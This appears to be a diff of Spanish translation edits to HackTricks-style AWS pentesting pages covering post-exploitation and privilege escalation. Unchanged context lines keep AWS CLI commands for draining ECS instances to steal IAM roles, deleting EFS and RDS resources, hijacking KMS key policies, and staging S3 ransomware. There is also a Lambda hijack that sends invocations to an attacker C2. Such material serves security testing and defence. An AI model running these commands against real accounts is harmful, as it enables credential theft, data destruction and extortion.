-En ECS, un **rol IAM puede ser asignado a la tarea** que se ejecuta dentro del contenedor. **Si** la tarea se ejecuta dentro de una **instancia EC2**, la **instancia EC2** tendrá **otro rol IAM** adjunto.\
-Lo que significa que si logras **comprometer** una instancia ECS, puedes potencialmente **obtener el rol IAM asociado al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales, consulta:
+En ECS, un **rol IAM puede ser asignado a la tarea** que se ejecuta dentro del contenedor. **Si** la tarea se ejecuta dentro de una **instancia EC2**, la **instancia EC2** tendrá un **rol IAM** diferente adjunto.\
+Lo que significa que si logras **comprometer** una instancia ECS, potencialmente puedes **obtener el rol IAM asociado al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales, consulta:
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -22,13 +22,13 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
 > [!CAUTION]
 > Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, lo que hace imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2.
 
-### Privesc al nodo para robar credenciales y secretos de otros contenedores
+### Privesc a nodo para robar credenciales y secretos de otros contenedores
 
-Además, EC2 utiliza Docker para ejecutar tareas de ECS, así que si puedes escapar al nodo o **acceder al socket de Docker**, puedes **verificar** qué **otros contenedores** se están ejecutando, e incluso **entrar en ellos** y **robar sus roles IAM** adjuntos.
+Además, EC2 utiliza docker para ejecutar tareas de ECS, así que si puedes escapar al nodo o **acceder al socket de docker**, puedes **verificar** qué **otros contenedores** se están ejecutando, e incluso **entrar en ellos** y **robar sus roles IAM** adjuntos.
 
 #### Haciendo que los contenedores se ejecuten en el host actual
 
-Además, el **rol de la instancia EC2** generalmente tendrá suficientes **permisos** para **actualizar el estado de la instancia del contenedor** de las instancias EC2 que se utilizan como nodos dentro del clúster. Un atacante podría modificar el **estado de una instancia a DRAINING**, entonces ECS **eliminará todas las tareas de ella** y las que se están ejecutando como **REPLICA** se **ejecutarán en una instancia diferente,** potencialmente dentro de la **instancia del atacante** para que pueda **robar sus roles IAM** y potencial información sensible desde dentro del contenedor.
+Además, el **rol de la instancia EC2** generalmente tendrá suficientes **permisos** para **actualizar el estado de la instancia del contenedor** de las instancias EC2 que se utilizan como nodos dentro del clúster. Un atacante podría modificar el **estado de una instancia a DRAINING**, luego ECS **eliminará todas las tareas de ella** y las que se están ejecutando como **REPLICA** se **ejecutarán en una instancia diferente,** potencialmente dentro de la **instancia del atacante**, para que pueda **robar sus roles IAM** y potencial información sensible desde dentro del contenedor.
 ```bash
 aws ecs update-container-instances-state \
 --cluster <cluster> --status DRAINING --container-instances <container-instance-id>

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md

@@ -20,7 +20,7 @@ aws efs delete-mount-target --mount-target-id <value>
 
 ### `elasticfilesystem:DeleteFileSystem`
 
-Un atacante podría eliminar un sistema de archivos EFS completo, lo que podría llevar a la pérdida de datos e impactar aplicaciones que dependen del sistema de archivos.
+Un atacante podría eliminar un sistema de archivos EFS completo, lo que podría llevar a la pérdida de datos e impactar a las aplicaciones que dependen del sistema de archivos.
 ```perl
 aws efs delete-file-system --file-system-id <value>
 ```

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md

@@ -12,7 +12,7 @@ Para más información, consulta
 
 ### Enumerar el clúster desde la consola de AWS
 
-Si tienes el permiso **`eks:AccessKubernetesApi`** puedes **ver objetos de Kubernetes** a través de la consola de AWS EKS ([Aprende más](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+Si tienes el permiso **`eks:AccessKubernetesApi`** puedes **ver objetos de Kubernetes** a través de la consola de AWS EKS ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
 
 ### Conectar al clúster de Kubernetes de AWS
 
@@ -25,7 +25,7 @@ aws eks update-kubeconfig --name aws-eks-dev
 
 Si puedes **obtener un token** con **`aws eks get-token --name <cluster_name>`** pero no tienes permisos para obtener información del clúster (describeCluster), podrías **preparar tu propio `~/.kube/config`**. Sin embargo, teniendo el token, aún necesitas la **url del endpoint para conectarte** (si lograste obtener un token JWT de un pod lee [aquí](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) y el **nombre del clúster**.
 
-En mi caso, no encontré la información en los registros de CloudWatch, pero **la encontré en LaunchTemplates userData** y en **máquinas EC2 en userData también**. Puedes ver esta información en **userData** fácilmente, por ejemplo en el siguiente ejemplo (el nombre del clúster era cluster-name):
+En mi caso, no encontré la información en los logs de CloudWatch, pero **la encontré en LaunchTemplates userData** y en **máquinas EC2 en userData también**. Puedes ver esta información en **userData** fácilmente, por ejemplo en el siguiente ejemplo (el nombre del clúster era cluster-name):
 ```bash
 API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
 
@@ -72,7 +72,7 @@ provideClusterInfo: false
 
 ### De AWS a Kubernetes
 
-El **creador** del **clúster EKS** **SIEMPRE** podrá acceder a la parte del clúster de kubernetes del grupo **`system:masters`** (admin de k8s). En el momento de escribir esto, **no hay forma directa** de encontrar **quién creó** el clúster (puedes verificar CloudTrail). Y **no hay forma** de **eliminar** ese **privilegio**.
+El **creador** del **clúster EKS** **SIEMPRE** podrá acceder a la parte del clúster de kubernetes del grupo **`system:masters`** (admin de k8s). En el momento de escribir esto, **no hay una forma directa** de encontrar **quién creó** el clúster (puedes verificar CloudTrail). Y **no hay forma** de **eliminar** ese **privilegio**.
 
 La forma de otorgar **acceso a más usuarios o roles de AWS IAM sobre K8s** es utilizando el **configmap** **`aws-auth`**.
 
@@ -114,7 +114,7 @@ for comb in product(letter_combinations, number_combinations)
 with open('out.txt', 'w') as f:
 f.write('\n'.join(result))
 ```
-Entonces con wfuzz
+Luego con wfuzz
 ```bash
 wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
 ```
@@ -133,11 +133,11 @@ Ten en cuenta que el **clúster EKS podría tener registros habilitados** que re
 
 Por defecto, el **usuario o rol que creó** un clúster **SIEMPRE tendrá privilegios de administrador** sobre el clúster. Y ese es el único acceso "seguro" que AWS tendrá sobre el clúster de Kubernetes.
 
-Así que, si un **atacante compromete un clúster usando fargate** y **elimina a todos los otros administradores** y **elimina el usuario/rol de AWS que creó** el clúster, ~~el atacante podría haber **secuestrado el clúster**~~**r**.
+Así que, si un **atacante compromete un clúster usando fargate** y **elimina a todos los otros administradores** y **elimina el usuario/rol de AWS que creó** el clúster, ~~el atacante podría haber **secuestrado el clúster**~~.
 
 > [!TIP]
-> Ten en cuenta que si el clúster estaba usando **EC2 VMs**, podría ser posible obtener privilegios de administrador desde el **Nodo** y recuperar el clúster.
+> Ten en cuenta que si el clúster estaba usando **EC2 VMs**, podría ser posible obtener privilegios de administrador desde el **Node** y recuperar el clúster.
 >
-> De hecho, si el clúster está usando Fargate, podrías EC2 nodos o mover todo a EC2 al clúster y recuperarlo accediendo a los tokens en el nodo.
+> De hecho, si el clúster está usando Fargate, podrías EC2 nodes o mover todo a EC2 al clúster y recuperarlo accediendo a los tokens en el nodo.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md

@@ -15,11 +15,11 @@ Para más información:
 > [!NOTE]
 > TODO: Probar si se requieren más permisos para esto
 
-Un atacante con el permiso `elasticbeanstalk:DeleteApplicationVersion` puede **eliminar una versión de aplicación existente**. Esta acción podría interrumpir los pipelines de despliegue de aplicaciones o causar la pérdida de versiones específicas de la aplicación si no se respaldan.
+Un atacante con el permiso `elasticbeanstalk:DeleteApplicationVersion` puede **eliminar una versión de aplicación existente**. Esta acción podría interrumpir las canalizaciones de implementación de aplicaciones o causar la pérdida de versiones específicas de la aplicación si no se respaldan.
 ```bash
 aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
 ```
-**Impacto Potencial**: Disrupción del despliegue de aplicaciones y posible pérdida de versiones de aplicaciones.
+**Impacto Potencial**: Disrupción del despliegue de la aplicación y posible pérdida de versiones de la aplicación.
 
 ### `elasticbeanstalk:TerminateEnvironment`
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md

@@ -43,7 +43,7 @@ Ejemplo:
 
 ### Confianzas inesperadas
 
-#### Comodín como principal
+#### Wildcard como principal
 ```json
 {
 "Action": "sts:AssumeRole",
@@ -73,7 +73,7 @@ Esta política **permite a cualquier cuenta** configurar su apigateway para llam
 }
 }
 ```
-Si un bucket de S3 se da como principal, debido a que los buckets de S3 no tienen un ID de cuenta, si **eliminaste tu bucket y el atacante lo creó** en su propia cuenta, entonces podrían abusar de esto.
+Si un bucket de S3 se da como principal, porque los buckets de S3 no tienen un ID de cuenta, si **eliminaste tu bucket y el atacante lo creó** en su propia cuenta, entonces podrían abusar de esto.
 
 #### No soportado
 ```json

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## KMS
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../aws-services/aws-kms-enum.md
@@ -20,7 +20,7 @@ Para más información, consulta:
 > [!TIP]
 > Ten en cuenta que si deseas descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
 
-- Usando una **clave** simétrica
+- Usando una clave **simétrica**
 ```bash
 # Encrypt data
 aws kms encrypt \
@@ -60,7 +60,7 @@ aws kms decrypt \
 ```
 ### KMS Ransomware
 
-Un atacante con acceso privilegiado sobre KMS podría modificar la política de KMS de las claves y **otorgar acceso a su cuenta sobre ellas**, eliminando el acceso otorgado a la cuenta legítima.
+Un atacante con acceso privilegiado sobre KMS podría modificar la política de KMS de las claves y **otorgar a su cuenta acceso sobre ellas**, eliminando el acceso otorgado a la cuenta legítima.
 
 Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de ningún servicio que haya sido cifrado con esas claves, creando un ransomware fácil pero efectivo sobre la cuenta.
 
@@ -102,7 +102,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 
 Hay otra forma de realizar un ransomware KMS global, que implicaría los siguientes pasos:
 
-- Crear una nueva **clave con un material de clave** importado por el atacante
+- Crear una **nueva clave con un material de clave** importado por el atacante
 - **Reencriptar datos antiguos** encriptados con la versión anterior con la nueva.
 - **Eliminar la clave KMS**
 - Ahora solo el atacante, que tiene el material de clave original, podría ser capaz de desencriptar los datos encriptados

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md

@@ -4,7 +4,7 @@
 
 ## Lambda
 
-Para más información consulta:
+Para más información, consulta:
 
 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
@@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md
 
 ### Robar Solicitudes URL de Lambda de Otros y Solicitudes de Extensiones
 
-Abusando de Lambda Layers también es posible abusar de extensiones y persistir en el lambda, pero también robar y modificar solicitudes.
+Abusando de Lambda Layers, también es posible abusar de extensiones y persistir en el lambda, pero también robar y modificar solicitudes.
 
 {{#ref}}
 ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md

@@ -9,7 +9,7 @@
 1. **Slicer** es un proceso fuera del contenedor que **envía** **invocaciones** al proceso **init**.
 2. El proceso init escucha en el puerto **9001** exponiendo algunos puntos finales interesantes:
 - **`/2018-06-01/runtime/invocation/next`** – obtener el siguiente evento de invocación
-- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – devolver la respuesta del manejador para la invocación
+- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – devolver la respuesta del controlador para la invocación
 - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – devolver un error de ejecución
 3. **bootstrap.py** tiene un bucle que obtiene invocaciones del proceso init y llama al código del usuario para manejarlas (**`/next`**).
 4. Finalmente, **bootstrap.py** envía al init la **respuesta**
@@ -18,16 +18,16 @@ Nota que bootstrap carga el código del usuario como un módulo, por lo que cual
 
 ## Robando Solicitudes de Lambda
 
-El objetivo de este ataque es hacer que el código del usuario ejecute un proceso **`bootstrap.py`** malicioso dentro del proceso **`bootstrap.py`** que maneja la solicitud vulnerable. De esta manera, el proceso **bootstrap malicioso** comenzará a **comunicarse con el proceso init** para manejar las solicitudes mientras que el bootstrap **legítimo** está **atrapado** ejecutando el malicioso, por lo que no pedirá solicitudes al proceso init.
+El objetivo de este ataque es hacer que el código del usuario ejecute un proceso **`bootstrap.py`** malicioso dentro del proceso **`bootstrap.py`** que maneja la solicitud vulnerable. De esta manera, el proceso **bootstrap malicioso** comenzará a **comunicarse con el proceso init** para manejar las solicitudes mientras el bootstrap **legítimo** está **atrapado** ejecutando el malicioso, por lo que no pedirá solicitudes al proceso init.
 
 Esta es una tarea simple de lograr ya que el código del usuario está siendo ejecutado por el legítimo proceso **`bootstrap.py`**. Así que el atacante podría:
 
 - **Enviar un resultado falso de la invocación actual al proceso init**, para que init piense que el proceso bootstrap está esperando más invocaciones.
 - Se debe enviar una solicitud a **`/${invoke-id}/response`**
-- El invoke-id se puede obtener de la pila del legítimo proceso **`bootstrap.py`** utilizando el módulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (como [se propone aquí](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o simplemente solicitándolo nuevamente a **`/2018-06-01/runtime/invocation/next`** (como [se propone aquí](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
+- El invoke-id se puede obtener de la pila del legítimo proceso **`bootstrap.py`** usando el módulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (como [se propuso aquí](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o simplemente solicitándolo nuevamente a **`/2018-06-01/runtime/invocation/next`** (como [se propuso aquí](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
 - Ejecutar un **`boostrap.py`** malicioso que manejará las siguientes invocaciones.
-- Por razones de sigilo, es posible enviar los parámetros de las invocaciones de lambda a un C2 controlado por el atacante y luego manejar las solicitudes como de costumbre.
-- Para este ataque, es suficiente obtener el código original de **`bootstrap.py`** del sistema o de [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), agregar el código malicioso y ejecutarlo desde la invocación lambda actual.
+- Por razones de sigilo, es posible enviar los parámetros de invocación de lambda a un C2 controlado por el atacante y luego manejar las solicitudes como de costumbre.
+- Para este ataque, es suficiente obtener el código original de **`bootstrap.py`** del sistema o [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), agregar el código malicioso y ejecutarlo desde la invocación lambda actual.
 
 ### Pasos del Ataque
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md

@@ -17,11 +17,11 @@ Si la DB tiene instantáneas, podrías **encontrar información sensible actualm
 ### Restaurar Instantáneas de Instancia
 
 Las instantáneas de instancia pueden contener **información sensible** de instancias ya eliminadas o información sensible que se ha eliminado en la instancia actual. **Crea nuevas instancias a partir de las instantáneas** y revísalas.\
-O **exporta la instantánea a un AMI en EC2** y sigue los pasos de una instancia EC2 típica.
+O **exporta la instantánea a un AMI en EC2** y sigue los pasos de una instancia típica de EC2.
 
 ### Acceder a Información Sensible
 
-Consulta las opciones de privesc de Lightsail para aprender diferentes formas de acceder a información sensible potencial:
+Consulta las opciones de privesc de Lightsail para aprender diferentes formas de acceder a información potencialmente sensible:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-lightsail-privesc.md

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md

@@ -1,10 +1,10 @@
-# AWS - Organizations Post Exploitation
+# AWS - Organizaciones Post Explotación
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Organizaciones
 
-Para más información sobre AWS Organizations, consulta:
+Para más información sobre AWS Organizations consulta:
 
 {{#ref}}
 ../aws-services/aws-organizations-enum.md

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## RDS
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Para más información, consulta:
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-Si el atacante tiene suficientes permisos, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB y luego una DB accesible públicamente a partir del snapshot.
+Si el atacante tiene suficientes permisos, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente a partir del snapshot.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -70,7 +70,7 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
 
 ### `rds:StartExportTask`
 
-> [!NOTE]
+> [!NOTA]
 > TODO: Probar
 
 Un atacante con este permiso puede **exportar una instantánea de la instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, puede acceder potencialmente a datos sensibles dentro de la instantánea exportada.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## S3
 
-Para más información consulta:
+Para más información, consulta:
 
 {{#ref}}
 ../aws-services/aws-s3-athena-and-glacier-enum.md
@@ -21,17 +21,17 @@ Por ejemplo, **airflow** podría estar almacenando **código** de **DAGs** allí
 
 ### Ransomware en S3
 
-En este escenario, el **atacante crea una clave KMS (Key Management Service) en su propia cuenta de AWS** o en otra cuenta comprometida. Luego hace que esta **clave sea accesible para cualquier persona en el mundo**, permitiendo a cualquier usuario, rol o cuenta de AWS cifrar objetos usando esta clave. Sin embargo, los objetos no pueden ser descifrados.
+En este escenario, el **atacante crea una clave KMS (Key Management Service) en su propia cuenta de AWS** o en otra cuenta comprometida. Luego hace que esta **clave sea accesible para cualquier persona en el mundo**, permitiendo que cualquier usuario, rol o cuenta de AWS encripte objetos usando esta clave. Sin embargo, los objetos no pueden ser descifrados.
 
-El atacante identifica un **bucket S3 objetivo y obtiene acceso de nivel de escritura** a él utilizando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno de AWS. El atacante generalmente apunta a buckets que contienen información sensible como información de identificación personal (PII), información de salud protegida (PHI), registros, copias de seguridad, y más.
+El atacante identifica un **bucket S3 objetivo y obtiene acceso a nivel de escritura** a él utilizando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno de AWS. El atacante generalmente apunta a buckets que contienen información sensible como información de identificación personal (PII), información de salud protegida (PHI), registros, copias de seguridad, y más.
 
 Para determinar si el bucket puede ser objetivo de ransomware, el atacante verifica su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **la eliminación de autenticación multifactor (MFA delete) está habilitada**. Si Object Versioning no está habilitado, el atacante puede proceder. Si Object Versioning está habilitado pero MFA delete está deshabilitado, el atacante puede **deshabilitar Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el atacante realizar ransomware en ese bucket específico.
 
-Usando la API de AWS, el atacante **reemplaza cada objeto en el bucket con una copia cifrada usando su clave KMS**. Esto cifra efectivamente los datos en el bucket, haciéndolos inaccesibles sin la clave.
+Usando la API de AWS, el atacante **reemplaza cada objeto en el bucket con una copia encriptada usando su clave KMS**. Esto encripta efectivamente los datos en el bucket, haciéndolos inaccesibles sin la clave.
 
 Para añadir más presión, el atacante programa la eliminación de la clave KMS utilizada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la clave sea eliminada y los datos se pierdan permanentemente.
 
-Finalmente, el atacante podría subir un archivo final, generalmente llamado "ransom-note.txt," que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrado, probablemente para captar la atención del objetivo y hacerle consciente del ataque de ransomware.
+Finalmente, el atacante podría subir un archivo final, generalmente llamado "ransom-note.txt," que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin encriptación, probablemente para captar la atención del objetivo y hacerle consciente del ataque de ransomware.
 
 **Para más información** [**consulta la investigación original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md

@@ -16,7 +16,7 @@ Los **secretos en sí son información sensible**, [consulta la página de prive
 
 ### DoS Cambiar el Valor del Secreto
 
-Cambiar el valor del secreto podría **DoS todo el sistema que depende de ese valor.**
+Al cambiar el valor del secreto, podrías **DoS todo el sistema que depende de ese valor.**
 
 > [!WARNING]
 > Ten en cuenta que los valores anteriores también se almacenan, por lo que es fácil volver al valor anterior.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## SES
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../aws-services/aws-ses-enum.md
@@ -25,19 +25,15 @@ Enviar un correo electrónico.
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
-Aún por probar.
-
 ### `ses:SendTemplatedEmail`
 
 Envía un correo electrónico basado en una plantilla.
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
-Aún por probar.
-
 ### `ses:SendBulkTemplatedEmail`
 
-Enviar un correo electrónico a múltiples destinos
+Envía un correo electrónico a múltiples destinos
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
@@ -51,7 +47,7 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-Enviar un **correo electrónico de rebote** sobre un correo electrónico recibido (indicando que el correo no pudo ser recibido). Esto solo se puede hacer **hasta 24 horas después de recibir** el correo electrónico.
+Enviar un **correo de rebote** sobre un correo recibido (indicando que el correo no pudo ser recibido). Esto solo se puede hacer **hasta 24 horas después de recibir** el correo.
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md

@@ -1,4 +1,4 @@
-# AWS - SNS Post Explotación
+# AWS - SNS Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -24,7 +24,7 @@ aws sns delete-topic --topic-arn <value>
 
 ### `sns:Publish`
 
-Un atacante podría enviar mensajes maliciosos o no deseados al tema SNS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos.
+Un atacante podría enviar mensajes maliciosos o no deseados al tema de SNS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos.
 ```bash
 aws sns publish --topic-arn <value> --message <value>
 ```
@@ -40,14 +40,14 @@ aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attr
 
 ### `sns:Subscribe` , `sns:Unsubscribe`
 
-Un atacante podría suscribirse o darse de baja de un tema de SNS, potencialmente obteniendo acceso no autorizado a mensajes o interrumpiendo el funcionamiento normal de las aplicaciones que dependen del tema.
+Un atacante podría suscribirse o darse de baja de un tema de SNS, lo que podría permitir el acceso no autorizado a mensajes o interrumpir el funcionamiento normal de las aplicaciones que dependen del tema.
 ```bash
 aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
 aws sns unsubscribe --subscription-arn <value>
 ```
 **Impacto Potencial**: Acceso no autorizado a mensajes, interrupción del servicio para aplicaciones que dependen del tema afectado.
 
-### `sns:AddPermission`, `sns:RemovePermission`
+### `sns:AddPermission` , `sns:RemovePermission`
 
 Un atacante podría otorgar acceso a usuarios o servicios no autorizados a un tema de SNS, o revocar permisos para usuarios legítimos, causando interrupciones en el funcionamiento normal de las aplicaciones que dependen del tema.
 ```css

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## SQS
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../aws-services/aws-sqs-and-sns-enum.md

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
 
 ### `states:UpdateMapRun`
 
-Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo disminuir este valor a 0, de modo que cada vez que un elemento falla, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
+Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo reducir este valor a 0, de modo que cada vez que un elemento falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
 ```bash
 aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
 ```

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md

@@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \
 signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
 
 
-
 # Give the URL to login
 echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
 ```
 #### aws_consoler
 
-Puedes **generar un enlace de consola web** con [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
+Puedes **generar un enlace a la consola web** con [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
 ```bash
 cd /tmp
 python3 -m venv env
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
 
 ### **Eludir restricciones de User-Agent desde Python**
 
-Si hay una **restricción para realizar ciertas acciones basada en el user agent** utilizado (como restringir el uso de la biblioteca python boto3 según el user agent), es posible usar la técnica anterior para **conectarse a la consola web a través de un navegador**, o podrías **modificar directamente el user-agent de boto3** haciendo:
+Si hay una **restricción para realizar ciertas acciones basadas en el user agent** utilizado (como restringir el uso de la biblioteca python boto3 según el user agent), es posible usar la técnica anterior para **conectarse a la consola web a través de un navegador**, o podrías **modificar directamente el user-agent de boto3** haciendo:
 ```bash
 # Shared by ex16x41
 # Create a client

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md

@@ -4,7 +4,7 @@
 
 ## Apigateway
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../aws-services/aws-api-gateway-enum.md
@@ -39,7 +39,7 @@ aws apigateway update-rest-api \
 
 ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
 
-> [!NOTE]
+> [!NOTA]
 > Necesita pruebas
 
 Un atacante con los permisos `apigateway:PutIntegration`, `apigateway:CreateDeployment` y `iam:PassRole` puede **agregar una nueva integración a una API REST de API Gateway existente con una función Lambda que tiene un rol IAM adjunto**. El atacante puede entonces **activar la función Lambda para ejecutar código arbitrario y potencialmente obtener acceso a los recursos asociados con el rol IAM**.
@@ -60,7 +60,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 
 ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
 
-> [!NOTE]
+> [!NOTA]
 > Necesita pruebas
 
 Un atacante con los permisos `apigateway:UpdateAuthorizer` y `apigateway:CreateDeployment` puede **modificar un autorizer de API Gateway existente** para eludir las verificaciones de seguridad o para ejecutar código arbitrario cuando se realizan solicitudes de API.
@@ -75,11 +75,11 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Eludir verificaciones de seguridad, acceso no autorizado a recursos de API.
+**Impacto Potencial**: Eludir controles de seguridad, acceso no autorizado a recursos de API.
 
 ### `apigateway:UpdateVpcLink`
 
-> [!NOTA]
+> [!NOTE]
 > Necesita pruebas
 
 Un atacante con el permiso `apigateway:UpdateVpcLink` puede **modificar un VPC Link existente para apuntar a un Balanceador de Carga de Red diferente, redirigiendo potencialmente el tráfico privado de la API a recursos no autorizados o maliciosos**.

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md

@@ -12,7 +12,7 @@ Para más información sobre cloudformation, consulta:
 
 ### `iam:PassRole`, `cloudformation:CreateStack`
 
-Un atacante con estos permisos **puede escalar privilegios** al crear un **stack de CloudFormation** con una plantilla personalizada, alojada en su servidor, para **ejecutar acciones bajo los permisos de un rol especificado:**
+Un atacante con estos permisos **puede escalar privilegios** creando un **stack de CloudFormation** con una plantilla personalizada, alojada en su servidor, para **ejecutar acciones bajo los permisos de un rol especificado:**
 ```bash
 aws cloudformation create-stack --stack-name <stack-name> \
